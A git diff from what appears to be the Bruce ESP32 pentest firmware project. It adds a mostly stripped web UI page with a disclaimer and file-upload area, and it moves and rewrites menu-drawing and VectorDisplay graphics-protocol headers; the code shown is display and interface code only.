    + + +)rawliteral"; + + +const char page_404[] PROGMEM = R"rawliteral( + + +)rawliteral"; \ No newline at end of file diff --git a/html/WebUI.html b/html/WebUI.html new file mode 100644 index 00000000..f9888d7e --- /dev/null +++ b/html/WebUI.html @@ -0,0 +1,600 @@ + + + + + + + + + + + +
    + +

    BRUCE Firmware

    +

    Firmware for offensive pranks and pentest studies and analysis. For educational purposes only. Don't use in environments where you are not allowed. All responsibilities for irresponsible usage of this firmware rest on your fin, sharky. Sincerely, Bruce.

    +

    Firmware version: %FIRMWARE%

    +

    SD Free Storage: %FREESD% | Used: %USEDSD% | Total: %TOTALSD%

    +

    LittleFS Free Storage: %FREELittleFS% | Used: %USEDLittleFS% | Total: %TOTALLittleFS%

    +

    +

    + + +
    + + + + + +

    +

    +

    +

    +

    +
    +

    Drag and drop files here

    +
    +

    +
    + + + + \ No newline at end of file diff --git a/src/core/menu_items/MenuItemInterface.h b/include/MenuItemInterface.h similarity index 81% rename from src/core/menu_items/MenuItemInterface.h rename to include/MenuItemInterface.h index eaa65d48..bfdc3ce3 100644 --- a/src/core/menu_items/MenuItemInterface.h +++ b/include/MenuItemInterface.h @@ -1,7 +1,7 @@ #ifndef __MENU_ITEM_INTERFACE_H__ #define __MENU_ITEM_INTERFACE_H__ -#include "core/globals.h" +#include #include "core/display.h" @@ -21,7 +21,7 @@ class MenuItemInterface { void drawArrows(float scale = 1) { tft.fillRect(arrowAreaX, iconAreaY, arrowAreaW, iconAreaH, bruceConfig.bgColor); - tft.fillRect(WIDTH - arrowAreaX - arrowAreaW, iconAreaY, arrowAreaW, iconAreaH, bruceConfig.bgColor); + tft.fillRect(tftWidth - arrowAreaX - arrowAreaW, iconAreaY, arrowAreaW, iconAreaH, bruceConfig.bgColor); int arrowSize = scale * 10; int lineWidth = scale * 3; @@ -31,7 +31,7 @@ class MenuItemInterface { // Left Arrow tft.drawWideLine( - arrowX, + arrowX, arrowY, arrowX + arrowSize, arrowY + arrowSize, @@ -51,18 +51,18 @@ class MenuItemInterface { // Right Arrow tft.drawWideLine( - WIDTH - arrowX, + tftWidth - arrowX, arrowY, - WIDTH - arrowX - arrowSize, + tftWidth - arrowX - arrowSize, arrowY + arrowSize, lineWidth, bruceConfig.priColor, bruceConfig.bgColor ); tft.drawWideLine( - WIDTH - arrowX, + tftWidth - arrowX, arrowY, - WIDTH - arrowX - arrowSize, + tftWidth - arrowX - arrowSize, arrowY - arrowSize, lineWidth, bruceConfig.priColor, @@ -76,7 +76,7 @@ class MenuItemInterface { tft.setTextSize(FM); tft.fillRect( arrowAreaX, titleY, - WIDTH - 2*arrowAreaX, LH*FM, + tftWidth - 2*arrowAreaX, LH*FM, bruceConfig.bgColor ); tft.drawCentreString(getName(), iconCenterX, titleY, 1); @@ -86,14 +86,14 @@ class MenuItemInterface { String _name = ""; int iconAreaH = ( - (HEIGHT - 2*BORDER_PAD_Y) % 2 == 0 - ? HEIGHT - 2*BORDER_PAD_Y - : HEIGHT - 2*BORDER_PAD_Y + 1 + (tftHeight - 2*BORDER_PAD_Y) % 2 == 0 + ? tftHeight - 2*BORDER_PAD_Y + : tftHeight - 2*BORDER_PAD_Y + 1 ); int iconAreaW = iconAreaH; - int iconCenterX = WIDTH/2; - int iconCenterY = HEIGHT/2; + int iconCenterX = tftWidth/2; + int iconCenterY = tftHeight/2; int iconAreaX = iconCenterX - iconAreaW/2; int iconAreaY = iconCenterY - iconAreaH/2; diff --git a/src/core/VectorDisplay.h b/include/VectorDisplay.h old mode 100755 new mode 100644 similarity index 96% rename from src/core/VectorDisplay.h rename to include/VectorDisplay.h index d11d1d2b..6466b4f1 --- a/src/core/VectorDisplay.h +++ b/include/VectorDisplay.h @@ -1,1357 +1,1357 @@ -#ifndef _VECTOR_DISPLAY_H -#define _VECTOR_DISPLAY_H - -#ifndef ARDUINO -#define NO_SERIAL -#include -#define pgm_read_byte_near(a) (*(uint8_t*)(a)) - -#include -#include - -typedef std::string String; - -uint32_t millis() { - struct timeb t; - ftime(&t); - return t.millitm + t.time * 1000; -} - -class Print { -public: - virtual size_t write(uint8_t c) = 0; - virtual size_t write(const uint8_t* s, size_t length) { - size_t wrote = 0; - while (length > 0) { - size_t b = write(*s++); - if (b <= 0) - break; - b++; - length--; - } - return wrote; - } - - virtual size_t write(const char* s) { - return write((uint8_t*)s, strlen(s)); - } -}; - -class Stream : public Print { -public: - virtual int read() = 0; - virtual int available() = 0; -}; - -#else -#include -#endif - -#ifdef ESP8266 -# include -#endif - -#define VECTOR_DISPLAY_MESSAGE_SIZE 8 -#define VECTOR_DISPLAY_MAX_STRING 256 - -#define VECTOR_DISPLAY_DEFAULT_WIDTH 240 -#define VECTOR_DISPLAY_DEFAULT_HEIGHT 320 - -#define ALIGN_LEFT 'l' -#define ALIGN_RIGHT 'r' -#define ALIGN_CENTER 'c' -#define ALIGN_TOP 't' -#define ALIGN_BOTTOM 'b' -#define ALIGN_BASELINE 'l' - -#ifndef VECTOR_DISPLAY_SEND_DELAY -#define VECTOR_DISPLAY_SEND_DELAY 0 -#endif - -#define TFT_BLACK 0x0000 /* 0, 0, 0 */ -#define TFT_NAVY 0x000F /* 0, 0, 128 */ -#define TFT_DARKGREEN 0x03E0 /* 0, 128, 0 */ -#define TFT_DARKCYAN 0x03EF /* 0, 128, 128 */ -#define TFT_MAROON 0x7800 /* 128, 0, 0 */ -#define TFT_PURPLE 0x780F /* 128, 0, 128 */ -#define TFT_OLIVE 0x7BE0 /* 128, 128, 0 */ -#define TFT_LIGHTGREY 0xC618 /* 192, 192, 192 */ -#define TFT_DARKGREY 0x7BEF /* 128, 128, 128 */ -#define TFT_BLUE 0x001F /* 0, 0, 255 */ -#define TFT_GREEN 0x07E0 /* 0, 255, 0 */ -#define TFT_CYAN 0x07FF /* 0, 255, 255 */ -#define TFT_RED 0xF800 /* 255, 0, 0 */ -#define TFT_MAGENTA 0xF81F /* 255, 0, 255 */ -#define TFT_YELLOW 0xFFE0 /* 255, 255, 0 */ -#define TFT_WHITE 0xFFFF /* 255, 255, 255 */ -#define TFT_ORANGE 0xFD20 /* 255, 165, 0 */ -#define TFT_GREENYELLOW 0xAFE5 /* 173, 255, 47 */ -#define TFT_PINK 0xF81F - -// Color definitions for backwards compatibility -#define ILI9341_BLACK 0x0000 /* 0, 0, 0 */ -#define ILI9341_NAVY 0x000F /* 0, 0, 128 */ -#define ILI9341_DARKGREEN 0x03E0 /* 0, 128, 0 */ -#define ILI9341_DARKCYAN 0x03EF /* 0, 128, 128 */ -#define ILI9341_MAROON 0x7800 /* 128, 0, 0 */ -#define ILI9341_PURPLE 0x780F /* 128, 0, 128 */ -#define ILI9341_OLIVE 0x7BE0 /* 128, 128, 0 */ -#define ILI9341_LIGHTGREY 0xC618 /* 192, 192, 192 */ -#define ILI9341_DARKGREY 0x7BEF /* 128, 128, 128 */ -#define ILI9341_BLUE 0x001F /* 0, 0, 255 */ -#define ILI9341_GREEN 0x07E0 /* 0, 255, 0 */ -#define ILI9341_CYAN 0x07FF /* 0, 255, 255 */ -#define ILI9341_RED 0xF800 /* 255, 0, 0 */ -#define ILI9341_MAGENTA 0xF81F /* 255, 0, 255 */ -#define ILI9341_YELLOW 0xFFE0 /* 255, 255, 0 */ -#define ILI9341_WHITE 0xFFFF /* 255, 255, 255 */ -#define ILI9341_ORANGE 0xFD20 /* 255, 165, 0 */ -#define ILI9341_GREENYELLOW 0xAFE5 /* 173, 255, 47 */ -#define ILI9341_PINK 0xF81F - -#define MESSAGE_DOWN 'D' -#define MESSAGE_UP 'U' -#define MESSAGE_MOVE 'M' -#define MESSAGE_BUTTON 'B' -#define MESSAGE_ACK 'A' - -//These enumerate the text plotting alignment (reference datum point) -#define TL_DATUM 0 // Top left (default) -#define TC_DATUM 1 // Top centre -#define TR_DATUM 2 // Top right -#define ML_DATUM 3 // Middle left -#define CL_DATUM 3 // Centre left, same as above -#define MC_DATUM 4 // Middle centre -#define CC_DATUM 4 // Centre centre, same as above -#define MR_DATUM 5 // Middle right -#define CR_DATUM 5 // Centre right, same as above -#define BL_DATUM 6 // Bottom left -#define BC_DATUM 7 // Bottom centre -#define BR_DATUM 8 // Bottom right -#define L_BASELINE 9 // Left character baseline (Line the 'A' character would sit on) -#define C_BASELINE 10 // Centre character baseline -#define R_BASELINE 11 // Right character baseline - -typedef uint32_t FixedPoint32; -#define TO_FP32(f) ((uint32_t)((f)*65536. + 0.5)) - -struct VectorDisplayMessage { - char what; - char what2; - union { - uint8_t button; - struct { - int16_t x; - int16_t y; - } xy; - } data; -} __attribute__((packed)); - -class VectorDisplayClass : public Print { -private: - static const uint32_t MAX_BUFFER = (uint32_t)1024*256; - static const uint32_t MESSAGE_TIMEOUT = 3000; - static const uint8_t FLAG_LOW_ENDIAN_BITS = 1; - static const uint8_t FLAG_HAVE_MASK = 2; - static const uint8_t FLAG_PAD_BYTE = 4; - static const uint8_t FLAG_LOW_ENDIAN_BYTES = 8; - - bool waitForAck = true; - int gfxFontSize = 1; - int curx = 0; - int cury = 0; - int readPos = 0; - int32_t curForeColor565 = -1; - uint32_t lastMessageStart = 0; - int pointerX; - int pointerY; - int curWidth = VECTOR_DISPLAY_DEFAULT_WIDTH; - int curHeight = VECTOR_DISPLAY_DEFAULT_HEIGHT; - uint8_t curRotation = 0; - bool pointerDown = false; - bool wrap = 1; - bool fixCP437 = true; - uint16_t polyLineCount; - uint8_t polyLineSum; - uint32_t delayTime = 0; - - uint8_t readBuf[VECTOR_DISPLAY_MESSAGE_SIZE]; - union { - uint32_t color; - uint16_t twoByte[9]; - struct { - uint16_t x; - uint16_t y; - char text[VECTOR_DISPLAY_MAX_STRING+1]; - } __attribute__((packed)) xyText; - struct { - uint16_t endianness; - uint16_t width; - uint16_t height; - FixedPoint32 aspectRatio; - uint16_t reserved[3]; - } __attribute__((packed)) initialize; - struct { - uint8_t c; - char text[VECTOR_DISPLAY_MAX_STRING+1]; - } __attribute__((packed)) charText; - struct { - uint16_t width; - uint16_t height; - } __attribute__((packed)) coords; - struct { - char attr; - uint8_t value; - } __attribute__((packed)) attribute8; - struct { - char attr; - uint16_t value; - } __attribute__((packed)) attribute16; - struct { - char attr; - uint32_t value; - } __attribute__((packed)) attribute32; - struct { - uint32_t length; - uint8_t depth; - uint8_t flags; - uint16_t x; - uint16_t y; - uint16_t w; - uint16_t h; - uint32_t foreColor; // only if depth==1 - uint32_t backColor; // only if depth==1 - } __attribute__((packed)) bitmap; - struct { - uint16_t x1; - uint16_t y1; - uint16_t x2; - uint16_t y2; - uint16_t r; - uint8_t filled; - } __attribute__((packed)) roundedRectangle; - struct { - uint16_t x; - uint16_t y; - uint16_t r; - FixedPoint32 angle1; - FixedPoint32 sweep; - uint8_t filled; - } __attribute__((packed)) arc; - struct { - char attr; - uint16_t values[2]; - } __attribute__((packed)) attribute16x2; - uint8_t bytes[VECTOR_DISPLAY_MAX_STRING+1]; - char text[VECTOR_DISPLAY_MAX_STRING+1]; - } args; - uint32_t lastSend = 0; - -private: - inline void sendDelay() { - if (delayTime>0) { - while(millis()-lastSend < delayTime) ; - lastSend = millis(); - } - } - -public: - int textsize = 1; - uint32_t textcolor = TFT_WHITE; - uint32_t textbgcolor = TFT_BLACK; - - void setWaitForAck(bool wait) { - waitForAck = wait; - } - - void setDelay(uint32_t delayMillis) { - delayTime = delayMillis; - lastSend = millis(); - } - - virtual void remoteFlush() { - /*while(remoteAvailable()) - remoteRead(); - * */ - } - virtual int remoteRead() = 0; // must be non-blocking - virtual void remoteWrite(uint8_t c) = 0; - virtual void remoteWrite(const void* data, size_t n) = 0; - virtual size_t remoteAvailable() = 0; - - void attribute8(char a, uint8_t value) { - args.attribute8.attr = a; - args.attribute8.value = value; - sendCommand('Y', &args, 2); - } - - void attribute8(char a, bool value) { - args.attribute8.attr = a; - args.attribute8.value = value ? 1 : 0; - sendCommand('Y', &args, 2); - } - - void attribute16(char a, uint16_t value) { - args.attribute16.attr = a; - args.attribute16.value = value; - sendCommand('A', &args, 3); - } - - void attribute32(char a, uint32_t value) { - args.attribute32.attr = a; - args.attribute32.value = value; - sendCommand('B', &args, 5); - } - - void sendCommand(char c, const void* arguments, int argumentsLength) { - sendDelay(); - remoteWrite(c); - remoteWrite(c^0xFF); - if (argumentsLength > 0) - remoteWrite((uint8_t*)arguments, argumentsLength); - uint8_t sum = 0; - for (int i = 0; i 0) - s += *p++; - return s; - } - - void startPoly(char c, uint16_t n) { - polyLineCount = n; - remoteWrite(c); - remoteWrite(c^0xFF); - args.twoByte[0] = n; - remoteWrite((uint8_t*)&args, 2); - polyLineSum = args.bytes[0] + args.bytes[1]; - } - - void startFillPoly(uint16_t n) { - startPoly('N', n); - } - - void startPolyLine(uint16_t n) { - startPoly('O', n); - } - - void addPolyLine(int16_t x, int16_t y) { - if (polyLineCount>0) { - args.twoByte[0] = x; - args.twoByte[1] = y; - remoteWrite((uint8_t*)&args, 4); - polyLineSum += args.bytes[0] + args.bytes[1] + args.bytes[2] + args.bytes[3]; - polyLineCount--; - if (polyLineCount == 0) { - remoteWrite(0xFF^polyLineSum); - } - } - } - - void line(int x1, int y1, int x2, int y2) { - args.twoByte[0] = x1; - args.twoByte[1] = y1; - args.twoByte[2] = x2; - args.twoByte[3] = y2; - sendCommand('L', &args, 8); - } - - void fillRectangle(int x1, int y1, int x2, int y2) { - args.twoByte[0] = x1; - args.twoByte[1] = y1; - args.twoByte[2] = x2; - args.twoByte[3] = y2; - sendCommand('R', &args, 8); - } - - void rectangle(int x1, int y1, int x2, int y2, bool fill=false) { - if (fill) - fillRectangle(x1,y1,x2,y2); - else { - startPolyLine(4); - addPolyLine(x1,y1); - addPolyLine(x2,y1); - addPolyLine(x2,y2); - addPolyLine(x1,y2); - } - } - - void roundedRectangle(int x1, int y1, int x2, int y2, int r, bool fill) { - args.roundedRectangle.filled = fill ? 1 : 0; - args.roundedRectangle.x1 = x1; - args.roundedRectangle.x2 = x2; - args.roundedRectangle.y1 = y1; - args.roundedRectangle.y2 = y2; - args.roundedRectangle.r = r; - sendCommand('Q', &args, 11); - } - - void roundedRectangle(int x1, int y1, int x2, int y2, int r) { - roundedRectangle(x1,y1,x2,y2,r,false); - } - - void fillRoundedRectangle(int x1, int y1, int x2, int y2, int r) { - roundedRectangle(x1,y1,x2,y2,r,true); - } - - void fillTriangle(int x1, int y1, int x2, int y2, int x3, int y3) { - args.twoByte[0] = x1; - args.twoByte[1] = y1; - args.twoByte[2] = x2; - args.twoByte[3] = y2; - args.twoByte[4] = x3; - args.twoByte[5] = y3; - sendCommand('G', &args, 12); - } - -/* void initialize() { - args.twoByte[0] = 0x1234; // endianness detector - args.twoByte[1] = 0; - sendCommandWithAck('H', &args, 4); - } */ - - void initialize(int w=VECTOR_DISPLAY_DEFAULT_WIDTH, int h=VECTOR_DISPLAY_DEFAULT_HEIGHT) { - args.initialize.endianness = 0x1234; // endianness detector - args.initialize.width = w; - args.initialize.height = h; - args.initialize.aspectRatio = TO_FP32(1.); - args.initialize.reserved[0] = 0; - args.initialize.reserved[1] = 0; - args.initialize.reserved[2] = 0; - curWidth = w; - curHeight = h; - - sendCommandWithAck('Z', &args, 16); - } - - void fillCircle(int x, int y, int r) { - args.twoByte[0] = x; - args.twoByte[1] = y; - args.twoByte[2] = r; - sendCommand('J', &args, 6); - } - - void circle(int x, int y, int r) { - args.twoByte[0] = x; - args.twoByte[1] = y; - args.twoByte[2] = r; - sendCommand('I', &args, 6); - } - - void point(int x, int y) { - args.twoByte[0] = x; - args.twoByte[1] = y; - sendCommand('P', &args, 4); - } - - void arc(int x, int y, int r, FixedPoint32 angle1, FixedPoint32 sweep, bool fill=false) { - args.arc.x = x; - args.arc.y = y; - args.arc.r = r; - args.arc.angle1 = angle1; - args.arc.sweep = sweep; - args.arc.filled = fill ? 1 : 0; - sendCommand('S', &args, 15); - } - - void arc(int x, int y, int r, float angle1, float sweep, bool fill=false) { - arc(x,y,r,TO_FP32(angle1),TO_FP32(sweep),fill); - } - - // 32-bit fixed point - void textSize(FixedPoint32 s) { - args.attribute32.attr = 's'; - args.attribute32.value = s; - sendCommand('B', &args, 5); - } - - void text(int x, int y, const char* str, int n) { - args.xyText.x = x; - args.xyText.y = y; - if (n>VECTOR_DISPLAY_MAX_STRING) - n = VECTOR_DISPLAY_MAX_STRING; - strncpy(args.xyText.text, str, n); - - if (fixCP437) { - for (int i=0;i=176) - args.xyText.text[i]++; - } - } - args.xyText.text[n] = 0; - sendCommand('T', &args, 4+strlen(args.xyText.text)+1); - } - - void text(int x, int y, const char* str) { - text(x, y, str, strlen(str)); - } - - void text(int x, int y, String str) { - text(x,y,str.c_str(), str.length()); - } - - void deleteButton(uint8_t command) { - sendCommand('D', &command, 1); - } - - void addButton(uint8_t command, const char* str) { - args.charText.c = command; - strncpy(args.charText.text, str, VECTOR_DISPLAY_MAX_STRING); - args.charText.text[VECTOR_DISPLAY_MAX_STRING] = 0; - sendCommand('U', &args, 1+strlen(args.charText.text)+1); - } - - void addButton(uint8_t command, String str) { - addButton(command, str.c_str()); - } - - void toast(const char* str, unsigned n) { - if (VECTOR_DISPLAY_MAX_STRING < n) - n = VECTOR_DISPLAY_MAX_STRING; - strncpy(args.text, str, n); - args.text[n] = 0; - sendCommand('M', &args, n+1); - } - - void toast(const char* str) { - toast(str, strlen(str)); - } - - void toast(String text) { - toast(text.c_str(), text.length()); - } - - void foreColor(uint32_t color) { - args.attribute32.attr = 'f'; - args.attribute32.value = color; - sendCommand('B', &args, 5); - curForeColor565 = -1; - } - - void backColor(uint32_t color) { - args.attribute32.attr = 'b'; - args.attribute32.value = color; - sendCommand('B', &args, 5); - } - - void textBackColor(uint32_t color) { - args.attribute32.attr = 'k'; - args.attribute32.value = color; - sendCommand('B', &args, 5); - } - - void textForeColor(uint32_t color) { - args.attribute32.attr = 'F'; - args.attribute32.value = color; - sendCommand('B', &args, 5); - } - - void foreColor565(uint16_t color) { - args.attribute16.attr = 'f'; - args.attribute16.value = color; - sendCommand('A', &args, 3); - curForeColor565 = color; - } - - void backColor565(uint16_t color) { - args.attribute16.attr = 'b'; - args.attribute16.value = color; - sendCommand('A', &args, 3); - } - - void textBackColor565(uint16_t color) { - args.attribute16.attr = 'k'; - args.attribute16.value = color; - sendCommand('A', &args, 3); - } - - void textForeColor565(uint16_t color) { - args.attribute16.attr = 'F'; - args.attribute16.value = color; - sendCommand('A', &args, 3); - } - - void rounded(uint8_t value) { - args.attribute8.attr = 'n'; - args.attribute8.value = value ? 1 : 0; - sendCommand('Y', &args, 2); - } - - void thickness(FixedPoint32 t) { - args.attribute32.attr = 't'; - args.attribute32.value = t; - sendCommand('B', &args, 5); - } - - void pixelAspectRatio(FixedPoint32 a) { - args.attribute32.attr = 'a'; - args.attribute32.value = a; - sendCommand('B', &args, 5); - } - -#ifdef SUPPORT_FLOATING_POINT - inline void setThickness(double thickness) { - setThickness(TO_FP32(thickness)); - } - - inline void setPixelAspectRatio(double aspect) { - setThickness(TO_FP32(aspect)); - } -#endif - - void clear() { - sendCommand('C', NULL, 0); - } - - void update() { - sendCommand('F', NULL, 0); - } - -/* void reset() { - sendCommandWithAck('E', NULL, 0); - } */ - - void coordinates(int width, int height) { - args.attribute16x2.attr = 'c'; - curWidth = width; - curHeight = height; - args.attribute16x2.values[0] = width; - args.attribute16x2.values[1] = height; - sendCommandWithAck('B', &args, 5); - } - - void continuousUpdate(bool value) { - args.attribute8.attr = 'c'; - args.attribute8.value = value ? 1 : 0; - sendCommand('Y', &args, 2); - } - - void textHorizontalAlign(char hAlign) { - args.attribute8.attr = 'h'; - args.attribute8.value = hAlign; - sendCommand('Y', &args, 2); - } - - void textVerticalAlign(char hAlign) { - args.attribute8.attr = 'v'; - args.attribute8.value = hAlign; - sendCommand('Y', &args, 2); - } - - void textOpaqueBackground(bool opaque) { - args.attribute8.attr = 'o'; - args.attribute8.value = opaque ? 1 : 0; - sendCommand('Y', &args, 2); - } - - void textBold(bool bold) { - args.attribute8.attr = 'b'; - args.attribute8.value = bold ? 1 : 0; - sendCommand('Y', &args, 2); - } - - bool isTouchDown() { - return pointerDown; - } - - int getTouchX() { - return pointerX; - } - - int getTouchY() { - return pointerY; - } - - bool readMessage(VectorDisplayMessage* msg) { - while (remoteAvailable()) { - uint8_t c = remoteRead(); - - if (0 < readPos && millis()-lastMessageStart > MESSAGE_TIMEOUT) - readPos = 0; - - if (2 <= readPos) { - readBuf[readPos++] = c; - if (readPos >= VECTOR_DISPLAY_MESSAGE_SIZE) { - readPos = 0; - if (msg != NULL) - memcpy(msg, readBuf, sizeof(VectorDisplayMessage)); - else - msg = (VectorDisplayMessage*)readBuf; - - if (msg->what == MESSAGE_DOWN || msg->what == MESSAGE_UP || msg->what == MESSAGE_MOVE) { - pointerDown = msg->what != MESSAGE_UP; - pointerX = msg->data.xy.x; - pointerY = msg->data.xy.y; - } - return true; - } - continue; - } - - if (1 <= readPos) { - if ( (*readBuf == 'U' && c == 'P') || - (*readBuf == 'D' && c == 'N') || - (*readBuf == 'M' && c == 'V') || - (*readBuf == 'B' && c == 'T') || - (*readBuf == 'A' && c == 'c') - ) { - readBuf[readPos++] = c; - continue; - } - readPos = 0; - } - if (readPos == 0 && (c == 'U' || c == 'D' || c == 'M' || c == 'B' || c == 'A')) { - readBuf[readPos++] = c; - lastMessageStart = millis(); - } - } - return false; - } - - uint32_t color565To8888(uint16_t c) { - return 0xFF000000 | ((((c>>11) & 0x1F) * 255 / 0x1F) << 16) | ((((c>>5) & 0x3F) * 255 / 0x3F) << 8) | ((c & 0x1F) * 255 / 0x1F); - } - - uint16_t color565(uint8_t r, uint8_t g, uint8_t b) { - return ((r & 0xF8) << 8) | ((g & 0xFC) << 3) | (b >> 3); - } - - uint32_t getBitmap1Size(int16_t w, int16_t h, uint8_t flags=0) { - return (flags & FLAG_PAD_BYTE) ? ((uint32_t)w+7)/8*h : ((uint32_t)w*h+7)/8; - } - - uint32_t getBitmapSize(int16_t w, int16_t h, uint8_t depth=1, uint8_t flags=0) { - if (depth==1) { - return getBitmap1Size(w,h,flags); - } - else { - return w*h*(depth/8); - } - } - - /*TODO: stubs*/ - void* createSprite(int16_t width, int16_t height, uint8_t frames = 1) { return NULL; } - void pushSprite(int32_t x, int32_t y) {} - void deleteSprite(void) {} - void fillSprite(uint32_t color) {} - - void bitmap_progmem(int16_t x, int16_t y, const uint8_t* bmp, - int16_t w, int16_t h, uint8_t depth=1, uint8_t flags=0, const uint8_t* mask=NULL, - uint32_t foreColor=0xFFFFFFFF, - uint32_t backColor=0x00FFFFFF) /* PROGMEM */ { - if (mask != NULL) - flags |= FLAG_HAVE_MASK; - uint32_t bitmapSize = getBitmapSize(w,h,depth,flags); - int headerSize = depth==1 ? 22 : 14; - uint32_t maskSize = mask == NULL ? 0 : getBitmap1Size(w,h,flags); - uint32_t fullSize = bitmapSize + headerSize + maskSize; - - if (fullSize + 1 > MAX_BUFFER) - return; - - sendDelay(); - remoteWrite('K'); - remoteWrite('K'^0xFF); - args.bitmap.length = fullSize; - args.bitmap.depth = 1; - args.bitmap.flags = flags; - args.bitmap.x = x; - args.bitmap.y = y; - args.bitmap.w = w; - args.bitmap.h = h; - if (depth == 1) { - args.bitmap.foreColor = foreColor; - args.bitmap.backColor = backColor; - } - - uint8_t sum = sumBytes(&args, headerSize); - remoteWrite(&args,headerSize); - for (uint32_t i=0; i MAX_BUFFER) - return; - - sendDelay(); - remoteWrite('K'); - remoteWrite('K'^0xFF); - args.bitmap.length = fullSize; - args.bitmap.depth = depth; - args.bitmap.flags = flags; - args.bitmap.x = x; - args.bitmap.y = y; - args.bitmap.w = w; - args.bitmap.h = h; - if (depth == 1) { - args.bitmap.foreColor = foreColor; - args.bitmap.backColor = backColor; - } - remoteWrite(&args,headerSize); - remoteWrite(bmp,bitmapSize); - uint8_t sum = sumBytes(&args, headerSize) + sumBytes((void*)bmp, bitmapSize); - if (maskSize > 0) { - remoteWrite(mask,maskSize); - sum += sumBytes((void*)mask, maskSize); - } - remoteWrite(sum^0xFF); - } - - void utf8() { - fixCP437 = false; - args.attribute8.attr = 'i'; - args.attribute8.value = 0; - sendCommand('Y', &args, 2); - } - - /* The following are meant to be compatible with Adafruit GFX */ - void cp437(bool s) { - // if true, activates real cp437 mode; if false, activates buggy Arduino compatible cp437 mode - fixCP437 = !s; - args.attribute8.attr = 'i'; - args.attribute8.value = 1; - sendCommand('Y', &args, 2); - } - - void setRotation(uint8_t r) { - args.attribute8.attr = 'r'; - args.attribute8.value = r; - curRotation = r & 3; - sendCommand('Y', &args, 2); - } - - void setTextSize(uint8_t size) { - gfxFontSize = size; - textsize = size; - textSize((FixedPoint32)size * 8 * 65536); - } - - void setTextDatum(uint8_t d) { } // mockup - - void setTextColor(uint16_t f, uint16_t b) { - textBackColor565(b); - textForeColor565(f); - textcolor = f; - textbgcolor = b; - textOpaqueBackground(true); - } - - void setTextColor(uint16_t f) { - textForeColor565(f); - textcolor = f; - textOpaqueBackground(false); - } - - void setCursor(int16_t x, int16_t y) { - curx = x; - cury = y; - } - - - int16_t getCursorX(void) { - return curx; - } - - int16_t getCursorY(void) { - return cury; - } - - void setTextWrap(bool w) { - wrap = w; - } - - int16_t drawRightString(const char *string, int32_t x, int32_t y, uint8_t font) { - // TODO: add spaces - return drawString(string, x, y); - } - - int16_t drawRightString(const String& string, int32_t x, int32_t y, uint8_t font) { - return drawRightString(string.c_str(), x, y, font); - } - - int16_t drawCentreString(const char *string, int32_t x, int32_t y, uint8_t font) { - // TODO: add spaces - return drawString(string, x, y); - } - - - int16_t drawCentreString(const String& string, int32_t x, int32_t y, uint8_t font) { - return drawCentreString(string.c_str(), x, y, font); - } - - int16_t drawString(const String& string, int32_t x, int32_t y) { - return drawString(string.c_str(), x, y); - } - - int16_t drawString(const char *string, int32_t x, int32_t y) { - setCursor(x, y); - return write(string); - }; - - int16_t drawChar(uint16_t uniCode, int32_t x, int32_t y) { - setCursor(x, y); - return write(uniCode); - } - - // TODO: fix back color handling - size_t write(uint8_t c) override { - if (wrap && curx + 5*gfxFontSize>width()) { - curx = 0; - cury += 8*gfxFontSize; - } - text(curx, cury, (char*)&c, 1); - curx += 5*gfxFontSize; - return 0; - } - - // TODO: fix back color handling - size_t write(const char* s) /*override*/ { //ESP8266 core doesn't supply write(const char*) - int l = strlen(s); - int w = width(); - if (!wrap || curx + 5*gfxFontSize*l <= w) { - text(curx, cury, s); - curx += 5*gfxFontSize*l; - } - else { - while(l>0) { - int end = ((int)w-curx)/(5*gfxFontSize); - if (end <= 0) { - curx = 0; - cury += 8*gfxFontSize; - end = w/(5*gfxFontSize); - } - if (end > l) - end = l; - text(curx, cury, s, end); - l-=end; - s += end; - curx = 5*gfxFontSize*end; - } - } - return 0; - } - - void drawPixel(int16_t x, int16_t y, uint16_t color) { - if (color != curForeColor565) { - foreColor565(color); - } - point(x, y); - } - - void drawRect(int16_t x, int16_t y, int16_t w, int16_t h, uint16_t color) { - if (color != curForeColor565) { - foreColor565(color); - } - rectangle(x,y,x+w-1,y+h-1); - } - - void fillRect(int16_t x, int16_t y, int16_t w, int16_t h, uint16_t color) { - if (color != curForeColor565) { - foreColor565(color); - } - fillRectangle(x,y,x+w-1,y+h-1); - } - - void drawFastHLine(int16_t x, int16_t y, int16_t w, uint16_t color) { - if (color != curForeColor565) { - foreColor565(color); - } - line(x,y,x+w,y); - } - - void drawLine(int16_t x, int16_t y, int16_t x2, int16_t y2, uint16_t color) { - if (color != curForeColor565) { - foreColor565(color); - } - line(x,y,x2,y2); - } - - - // Draw an anti-aliased wide line from ax,ay to bx,by width wd with radiused ends (radius is wd/2) - // If bg_color is not included the background pixel colour will be read from TFT or sprite - void drawWideLine(float ax, float ay, float bx, float by, float wd, uint32_t fg_color, uint32_t bg_color = 0x00FFFFFF) { - drawRect(ax, ay, wd, abs(ay-by), fg_color); - } - - // As per "drawSmoothArc" except the ends of the arc are NOT anti-aliased, this facilitates dynamic arc length changes with - // arc segments and ensures clean segment joints. - // The sides of the arc are anti-aliased by default. If smoothArc is false sides will NOT be anti-aliased - void drawArc(int32_t x, int32_t y, int32_t r, int32_t ir, uint32_t startAngle, uint32_t endAngle, uint32_t fg_color, uint32_t bg_color, bool smoothArc = true){ - // TODO - drawRect(x, y, r*2, ir*2, fg_color); - } - - void drawSmoothArc(int32_t x, int32_t y, int32_t r, int32_t ir, uint32_t startAngle, uint32_t endAngle, uint32_t fg_color, uint32_t bg_color, bool roundEnds = false) { - drawArc(x, y, r, ir, startAngle, endAngle, fg_color, bg_color); - } - - // Draw an anti-aliased filled circle at x, y with radius r - // If bg_color is not included the background pixel colour will be read from TFT or sprite - void fillSmoothCircle(int32_t x, int32_t y, int32_t r, uint32_t color, uint32_t bg_color = 0x00FFFFFF) { - fillCircle(x, y, r, color) ; - } - - void drawSmoothRoundRect(int32_t x, int32_t y, int32_t r, int32_t ir, int32_t w, int32_t h, uint32_t fg_color, uint32_t bg_color = 0x00FFFFFF, uint8_t quadrants = 0xF) { - drawRoundRect(x, y, w, h, r, fg_color); - } - - // Draw a filled rounded rectangle , corner radius r and bounding box defined by x,y and w,h - void fillSmoothRoundRect(int32_t x, int32_t y, int32_t w, int32_t h, int32_t radius, uint32_t color, uint32_t bg_color = 0x00FFFFFF) { - fillRoundRect(x, y, w, h, radius, color); - } - - - void drawFastVLine(int16_t x, int16_t y, int16_t h, uint16_t color) { - if (color != curForeColor565) { - foreColor565(color); - } - line(x,y,x,y+h); - } - - void fillScreen(uint16_t color) { - backColor565(color); - clear(); - backColor(0xFF000000); - } - - void drawCircle(int16_t x, int16_t y, int16_t r, uint16_t color) { - if (color != curForeColor565) { - foreColor565(color); - } - circle(x,y,r); - 